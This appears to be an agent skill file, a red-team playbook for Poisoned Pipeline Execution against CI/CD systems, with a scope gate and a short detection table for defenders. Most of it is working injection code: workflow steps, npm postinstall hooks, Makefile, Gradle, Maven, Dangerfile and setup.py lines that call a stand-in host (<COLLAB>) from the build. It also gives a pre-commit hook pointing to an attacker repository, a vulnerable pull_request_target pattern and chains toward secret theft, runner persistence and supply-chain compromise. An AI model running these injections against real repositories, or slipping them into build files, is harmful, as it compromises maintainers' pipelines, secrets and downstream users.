- name
- poisoned-pipeline-execution
- description
- Poisoned Pipeline Execution (PPE) — direct + indirect: inject commands via attacker-controllable build files (Makefile, package.json scripts, build.gradle, Dangerfile, .pre-commit-config.yaml), abuse pull_request_target / fork-PR triggers, and ride dependency / test-script execution on CI.
- allowed-tools
- Bash Read Write
- metadata
- {"subdomain":"execution","when_to_use":"ppe poisoned pipeline direct indirect ppe fork pr pull_request_target makefile package.json npm scripts gradle dangerfile pre-commit ci build script","tags":"ci-cd, ppe, pipeline, execution","mitre_attack":"T1195.002, T1199, T1059"}
# Poisoned Pipeline Execution (PPE)
PPE = run attacker code inside the target's CI job by editing files the pipeline already executes. Two flavors (Palawan / CIDER taxonomy):
- **Direct PPE (D-PPE)**: attacker edits the *pipeline config itself* (`.github/workflows/*.yml`, `.gitlab-ci.yml`, `Jenkinsfile`) in a PR/branch the CI runs.
- **Indirect PPE (I-PPE)**: attacker edits a file the *pipeline calls* — build scripts (`Makefile`, `build.gradle`, `pom.xml`), package-manager scripts (`package.json` `scripts`, `setup.py`), lint/test hooks (`Dangerfile`, `.pre-commit-config.yaml`, `tox.ini`, `pyproject.toml` `[tool.poetry.scripts]`), or any file `make test` ends up sourcing.
## Recon — does the target build untrusted code?
```bash
# 1. Workflow triggers that build PRs
grep -rE '^\s*(pull_request|pull_request_target)\s*:' <REPO>/.github/workflows/ 2>/dev/null
# 2. Does CI install + run scripts before any review gate?
grep -rnE 'npm (ci|install|test|run)|yarn|pnpm|pip install|poetry install|make |gradle|mvn |tox' <REPO>/.github/workflows/ <REPO>/.gitlab-ci.yml 2>/dev/null
# 3. Are forks allowed? (default: yes on public repos)
gh api "repos/<OWNER>/<REPO>" --jq '{visibility,fork,allow_forking,default_branch}'
# 4. Does a maintainer have to approve fork-PR workflow runs? (org/repo setting)
gh api "repos/<OWNER>/<REPO>/actions/permissions" --jq '.allowed_actions,.enabled' 2>/dev/null
# Default for public repos: first-time contributors require approval; returning contributors don't.
```
## Direct PPE — edit the workflow itself
```yaml
# Attacker branch: feature/innocent-typo-fix
# .github/workflows/ci.yml — add a step that exfils env
name: CI
on: [push, pull_request]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: "fix: tweak test runner" # blends in
run: |
# Beacon-only PoC — DO NOT exfil real secrets in research
curl -sX POST "https://<COLLAB>/$(echo -n "$GITHUB_REPOSITORY" | base64)" \
-d "ref=$GITHUB_REF"
```
D-PPE works when the workflow runs on `pull_request` from forks **without** the "require approval" gate, or when the attacker has push access to a branch CI builds.
## Indirect PPE — edit a file the pipeline calls
### package.json scripts
```jsonc
// PR diff — adds a postinstall that fires when CI runs `npm ci`
{
"scripts": {
"test": "jest",
"postinstall": "node -e \"require('dns').lookup(require('crypto').randomBytes(6).toString('hex')+'.<COLLAB>',()=>{})\""
}
}
```
`npm ci` / `npm install` will execute `postinstall` by default. Same trick works with `preinstall`, `prepare`, `prepublish`. Yarn / pnpm honor the same hooks.
### Makefile / `make test`
```make
# PR adds an indented line under the existing `test:` target
test:
pytest -q
@curl -s "https://<COLLAB>/make-test-$$(hostname)" >/dev/null || true
```
### Gradle / Maven
```groovy
// build.gradle — runs at evaluation, before any task
allprojects {
doFirst {
"curl -s https://<COLLAB>/gradle".execute()
}
}
```
```xml
<!-- pom.xml — exec-maven-plugin attached to validate phase -->
<plugin>
<groupId>org.codehaus.mojo</groupId><artifactId>exec-maven-plugin</artifactId>
<executions><execution><phase>validate</phase>
<goals><goal>exec</goal></goals>
<configuration><executable>curl</executable>
<arguments><argument>-s</argument><argument>https://<COLLAB>/mvn</argument></arguments>
</configuration>
</execution></executions>
</plugin>
```
### Danger / pre-commit / lint hooks
```ruby
# Dangerfile — runs on every PR in many JS/iOS pipelines
`curl -s https://<COLLAB>/danger`
```
```yaml
# .pre-commit-config.yaml — points to attacker-controlled repo
repos:
- repo: https://github.com/<ATTACKER>/innocent-lint
rev: main
hooks: [{ id: lint }]
```
### setup.py / pyproject.toml
```python
# setup.py — runs at `pip install .` time
from setuptools import setup
import os; os.system("curl -s https://<COLLAB>/setuppy")
setup(name="x", version="0.0.0")
```
### Test fixtures
`conftest.py`, `jest.setup.js`, `karma.conf.js`, `cypress/support/index.js`, `phpunit.xml` bootstrap files — all execute before the first test runs.
## `pull_request_target` — the dangerous trigger
`pull_request_target` runs in the **base** repo context with secrets and a write `GITHUB_TOKEN`, but if the workflow then checks out the **PR head**, the attacker's code runs privileged:
```yaml
# VULNERABLE — DO NOT WRITE THIS
on: pull_request_target
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with: { ref: ${{ github.event.pull_request.head.sha }} } # <-- attacker code
- run: npm ci && npm test # <-- runs attacker code with secrets in env
```
A fork PR adding an `postinstall` to `package.json` now runs with `secrets.*` available.
## Chains
| Chain | Pivot |
|---|---|
| I-PPE in a build script -> `printenv` -> CI secret -> deploy creds | See `cicd-secrets-exfil/SKILL.md` |
| D-PPE on protected branch via stale review approval | Push to PR after approval (use `dismiss_stale_reviews`-misconfigured repos) |
| I-PPE on self-hosted runner | Persistence via cron / systemd; see `self-hosted-runner-abuse/SKILL.md` |
| I-PPE -> push tag / publish package via `GITHUB_TOKEN` | Downstream supply-chain compromise |
## Tools
| Tool | Use |
|---|---|
| `gato` / `gato-x` | Scans orgs for PPE-prone workflows, automates fork-PR PoC |
| `actionlint` | Reverse-use: flags `pull_request_target` + PR-head checkout |
| `octoscan`, `zizmor` | Static workflow analyzers |
| `tj-actions/changed-files` CVE-2025-30066 | Real-world I-PPE-via-action precedent |
## Detection signatures (defender view)
| Signal | Where |
|---|---|
| Edit to `.github/workflows/*` in a fork PR | GitHub UI flags "workflow file change" on first run; defenders watch for it |
| New `postinstall` / `preinstall` / `prepare` in `package.json` diff | `git log -p package.json` |
| New outbound network from CI runner during build | egress filtering on runner subnet |
| `pull_request_target` + checkout of `head.sha` | static lint (`zizmor`, `octoscan`) |
## Decision gate
1. Confirm written scope covers CI/CD testing.
2. PoC payload = single DNS / HTTPS beacon, no real secret exfil.
3. Open the PR from a clearly-labeled `security-research-*` fork; close + delete after capture.
4. Never push to protected branches, never publish artifacts, never tag releases.
## References
- "Top 10 CI/CD Security Risks" — Cider Security / OWASP (CICD-SEC-04 PPE)
- Palawan / Cider PPE taxonomy
- `tj-actions/changed-files` incident (Mar 2025) — supply-chain via reused action
عرض على GitHub